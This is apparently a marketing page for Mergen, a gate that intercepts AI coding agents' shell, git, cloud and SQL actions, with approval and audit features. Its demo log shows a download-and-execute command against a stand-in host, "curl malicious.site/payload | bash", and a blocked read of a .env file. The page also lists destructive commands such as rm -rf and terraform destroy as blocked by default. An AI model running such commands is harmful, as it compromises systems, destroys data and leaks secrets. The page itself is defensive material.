Cloud governance. Local enforcement.

What Mergen protects
  • Shell commands
  • MCP tool calls
  • File writes
  • Git operations
  • Cloud APIs
  • Kubernetes
  • SQL mutations

Also evaluates CI/CD pipelines — the Change Authorization Gate scans every AI-generated pull request before merge via a GitHub Actions step. Mergen evaluates the change; whether a flagged PR can still be merged depends on your repo's branch protection settings, unlike the runtime surfaces above, which Mergen stops directly.

Every agent action is evaluated locally, in under a millisecond. Each machine has its own My Machine dashboard; My Organization at mergen.app gives you the fleet-wide view — policies, approvals, and activity across every runtime.

MCP tools help the agent. The Mergen gate controls the agent. They are not the same layer.

Enforcement
Mandatory
  • Runs before execution
  • Produces Allow, Hold, or Block
  • Stops the handler before it runs
  • Cannot be treated as advice
Intelligence
Optional
  • Explains verdicts
  • Finds similar incidents
  • Helps investigate and improve policies
  • Advisory — never decides Allow, Hold, or Block

Isolation and enforcement are two different questions.

AI AGENT
Cursor / Claude Code
SANDBOX
Can it access this?
MERGEN
Should it execute?
TOOL
Shell / Cloud / APIs
AUDIT
Hash-chained record

Agent → Mergen → Tools

Mergen sits inline between the AI Agent and the local or production runtime. Deterministic policies intercept, check, and filter payloads in under 1ms.

SELECT_INPUT_PAYLOAD
AI_AGENT
Cursor / Claude Code
MERGEN_GATEWAY
IDLE
REAL_WORLD
Shell / Cloud / APIs
GATEWAY_INSPECTION_BUFFERLATENCY: --
ACTION: git commit -m "feat: oauth login"

That decision happens on one machine, in under a millisecond. Once connected, every verdict it reaches then rolls up to My Organization — one view of every runtime, decision, and approval across the team. See the organization view →

Works with
  • Claude Code
  • Cursor
  • VS Code
  • Windsurf
  • Any MCP client
  • GitHub
  • Slack

What happens after you install Mergen.

Every team goes through the same six stages — from a five-minute install to full organizational governance. All of it runs on one deterministic gate.

STAGE_01

Install & Connect

Get Mergen protecting your AI agents in minutes.

  • One-command setupmergen-server setup — detects your environment, configures supported tools, and lets you continue locally or connect your Mergen account
  • Device-authorized loginapprove in the browser, no key to copy-paste — only needed for cloud/team features
  • Claude Code and supported IDEsenforcement through native hooks and runtime adapters; optional intelligence through MCP
  • Any MCP clientprotocol-generic tools/call coverage
  • GitHub ActionsCI gate wired into your pipeline in one workflow step
STAGE_02

Protect

Stops destructive actions before they execute. Protection does not depend on the agent deciding to call Mergen — supported actions are intercepted before their handlers run.

  • Terminal & shell commandsBash PreToolUse hook + mergen-server exec
  • MCP tool callsany MCP client, not just Claude Code
  • Git operationsdedicated rules for destructive git, not generic pattern matching
  • Cloud credential requestsshort-lived AWS/GCP/Azure credentials, scoped to the task
  • SQL mutationsunscoped updates or deletes with no WHERE clause
Stops by default
  • Destructive commandsrm -rf, drop table, terraform destroy
  • Secrets & credential exfiltration
  • Dangerous git operationsforce-push, history rewrite
  • Infrastructure teardowncloud resource deletion, destructive K8s ops
  • Unscoped SQL mutationsupdates or deletes with no WHERE clause
  • Production-window holdse.g. no auth changes during Friday settlement
Powered by
  • Execution Gateway
  • Deterministic Policy Engine
  • Shadow Mode

Local, sub-millisecond evaluation. Human-readable, version-controlled rules — no code changes needed. Allow / Hold / Block, never a guess.

STAGE_03

Observe

Know exactly what happened without digging through logs.

  • Runtime Visualizera map of the tools, files, services, and APIs an agent touched during a session
  • Incident Memory"this happened before, here's what worked"
  • Blunder Logtamper-evident record of every blocked action
  • Agent timelinesa durable history for every agent
  • Root-cause contextsurfaced at diagnosis time, not reconstructed after
Connect your signals
  • PagerDutyincident webhook triggers root-cause analysis
  • Datadogtrace fetch on incident open
  • OpenTelemetryOTLP/JSON ingest, any backend language
  • Kubernetesevent monitoring feeds the same timeline
STAGE_04

Collaborate

Now multiple engineers rely on the same gate.

  • Slack approve / denythe agent waits until a human clicks
  • Organization Memoryevery approval teaches Mergen — human overrides are stored with their rationale and outcome, surfaced when similar actions occur, and can be promoted into versioned policy
  • Role-based approval routingthe right responder is pinged for a given hold
  • Approval historyevery decision persisted and queryable
  • Escalation thresholdsauto-escalate to on-call above a risk threshold
STAGE_05

Govern

Now engineering and security leadership need proof, not vibes.

  • My Organizationthe org-wide cloud surface at mergen.app — Fleet, Usage, Approvals, and Policies for every runtime in one view
  • Runtime Fleetevery install with live health, active policy version, and enforcement mode
  • Usage analyticsallow / block / held decisions synced from every runtime, org-wide and per install
  • Role-based access controladmin, responder, and viewer roles, org-wide
  • Tenant-scoped cloud workspaces
STAGE_06

Measure

Show what the gate is doing — without building a deck.

  • Weekly impact reportprevented actions and mean time to resolution
  • Agent activity & block trendsper-agent timelines with fleet-wide rollups
  • Approver statisticswho approves, how fast, and which holds expired unseen
  • Team adoptionweekly engagement rate on PR comments
  • Daily & weekly digestsSlack and email — reports only, never approvals

Everything above is included. No hidden enterprise-only execution engine. Only collaboration and governance scale with your plan.

Timeline: Inline controls vs. reactive triage

WITHOUT_MERGEN (REACTIVE)
00:00
Staged changes made
Developer updates critical routing middleware.
00:02
Test suite execution
Tests pass. Code is shipped directly to main without review.
04:00
Production alert fires
Latency spikes. Gateway is dropping 20% of incoming requests.
04:15
Postmortem reconstruction
Developer greps production logs to trace what changed.
WITH_MERGEN (INLINE GATE)
00:00
Commit hook triggered
Git pre-commit cross-references staged files against the override corpus.
00:01
Outage risk flag raised
Matching middleware recurs in incident #84 — the 3rd time this pattern has caused trouble.
00:02
Commit held for confirmation
Developer refactors before push, or explicitly confirms to proceed anyway.
OUTCOME: Outage prevented. An established incident pattern (3+ prior occurrences) holds the commit for confirmation instead of letting it ship silently.

See everything your AI agents did.

An illustrative example of the Runtime Visualizer — a map of the tools, files, and services an agent touched during a session, so you can audit at a glance instead of digging through logs.

EXECUTION_VISUALIZER
GATEWAY_ACTIVE
Web ScraperTool Request
File SystemLocal Writes
API IntegrationsWebhooks
AI AgentActive Process
SHELL_COMMANDBLOCKED
NETWORK_REQUESTBLOCKED
Hover over any node in the execution pipeline to inspect tool-call payloads...
[00:00:01] SECURED. MONITORING ACTIVE.
[00:00:02] shell_cmd: "curl malicious.site/payload | bash" [INTERCEPTED_AND_BLOCKED]
[00:00:03] file_write: "~/project/.env" [ACCESS_DENIED]

For the full local-runtime-and-My-Organization architecture diagram, see the homepage's architecture section →